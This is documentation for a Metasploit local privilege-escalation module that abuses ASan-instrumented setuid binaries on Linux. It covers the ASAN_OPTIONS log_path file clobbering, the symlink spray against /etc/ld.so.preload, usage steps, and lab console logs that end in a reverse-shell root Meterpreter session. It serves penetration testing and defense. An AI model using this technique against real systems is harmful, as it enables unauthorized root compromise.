metasploit-gs/documentation/modules/exploit/linux/asan_suid_executable_priv_esc.md

Description

This module attempts to gain root privileges on Linux systems using setuid executables compiled with AddressSanitizer (ASan).

ASan configuration related environment variables are permitted when executing setuid executables built with libasan. The log_path option can be set using the ASAN_OPTIONS environment variable, allowing clobbering of arbitrary files, with the privileges of the setuid user.

This module uploads a shared object and sprays symlinks to overwrite /etc/ld.so.preload in order to create a setuid root shell.

Vulnerable Application

AddressSanitizer (ASan) is a fast memory error detector. It consists of a compiler instrumentation module and a run-time library.

An example executable can be compiled with ASan as follows:

gcc -s -lasan -fsanitize=address -o asan.elf helloworld.c
sudo mv asan.elf /usr/bin/asan.elf
sudo chown root:root /usr/bin/asan.elf
sudo chmod u+s /usr/bin/asan.elf

Verification Steps

1. Start msfconsole
2. Get a session
3. use use exploit/linux/local/asan_suid_executable_priv_esc
4. set SESSION [SESSION]
5. set SUID_EXECUTABLE /path/to/suid/compiled/with/asan
6. check
7. run
8. You should get a new root session

Options

SESSION

Which session to use, which can be viewed with sessions

SUID_EXECUTABLE

Path to a SUID executable compiled with ASan. (default: ``)

SPRAY_SIZE

Number of PID symlinks to create. (default: 50)

WritableDir

A writable directory file system path. (default: /tmp)

Scenarios

Command Shell Session (Linux Mint 19)

msf5 > use exploit/linux/local/asan_suid_executable_priv_esc 
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
suid_executable => /usr/bin/a.out
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[+] /usr/bin/a.out is setuid
[+] /usr/bin/a.out was compiled with ASan
[+] gcc is installed
[*] Writing '/tmp/.pCriI' (291 bytes) ...
[*] Max line length is 65537
[*] Writing 291 bytes in 1 chunks of 937 bytes (octal-encoded), using printf
[*] Writing '/tmp/.JtSfQ1.c' (142 bytes) ...
[*] Max line length is 65537
[*] Writing 142 bytes in 1 chunks of 513 bytes (octal-encoded), using printf
[*] Writing '/tmp/.TCLmzU.so.c' (323 bytes) ...
[*] Max line length is 65537
[*] Writing 323 bytes in 1 chunks of 1167 bytes (octal-encoded), using printf
[*] Writing '/tmp/.V7OEFt.c' (253 bytes) ...
[*] Max line length is 65537
[*] Writing 253 bytes in 1 chunks of 906 bytes (octal-encoded), using printf
[*] Writing '/tmp/.LpfTKJwR' (256 bytes) ...
[*] Max line length is 65537
[*] Writing 256 bytes in 1 chunks of 942 bytes (octal-encoded), using printf
[*] Launching exploit...
[+] Success! /tmp/.JtSfQ1 is set-uid root!
-rwsr-xr-x 1 root root 8384 Jan 12 19:30 /tmp/.JtSfQ1
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (914728 bytes) to 172.16.191.211
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56074) at 2019-01-12 03:30:47 -0500
[+] Deleted /tmp/.JtSfQ1.c
[+] Deleted /tmp/.TCLmzU.so.c
[+] Deleted /tmp/.TCLmzU.so
[+] Deleted /tmp/.V7OEFt.c
[+] Deleted /tmp/.V7OEFt
[+] Deleted /tmp/.LpfTKJwR

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 172.16.191.211
OS           : LinuxMint 19 (Linux 4.15.0-20-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > 

Meterpreter Session (Linux Mint 19)

msf5 > use exploit/linux/local/asan_suid_executable_priv_esc 
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
suid_executable => /usr/bin/a.out
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[+] /usr/bin/a.out is setuid
[+] /usr/bin/a.out was compiled with ASan
[+] gcc is installed
[*] Writing '/tmp/.XBKiFa' (291 bytes) ...
[*] Writing '/tmp/.ooMwKnEXt.c' (142 bytes) ...
[*] Writing '/tmp/.cWZL3A.so.c' (329 bytes) ...
[*] Writing '/tmp/.78iKLJOvX.c' (254 bytes) ...
[*] Writing '/tmp/.WkXgm2agJ8' (261 bytes) ...
[*] Launching exploit...
[+] Success! /tmp/.ooMwKnEXt is set-uid root!
-rwsr-xr-x 1 root root 8384 Jan 12 19:42 /tmp/.ooMwKnEXt
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (914728 bytes) to 172.16.191.211
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56080) at 2019-01-12 03:42:43 -0500
[+] Deleted /tmp/.XBKiFa
[+] Deleted /tmp/.ooMwKnEXt.c
[+] Deleted /tmp/.cWZL3A.so.c
[+] Deleted /tmp/.cWZL3A.so
[+] Deleted /tmp/.78iKLJOvX.c
[+] Deleted /tmp/.78iKLJOvX
[+] Deleted /tmp/.WkXgm2agJ8

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 172.16.191.211
OS           : LinuxMint 19 (Linux 4.15.0-20-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >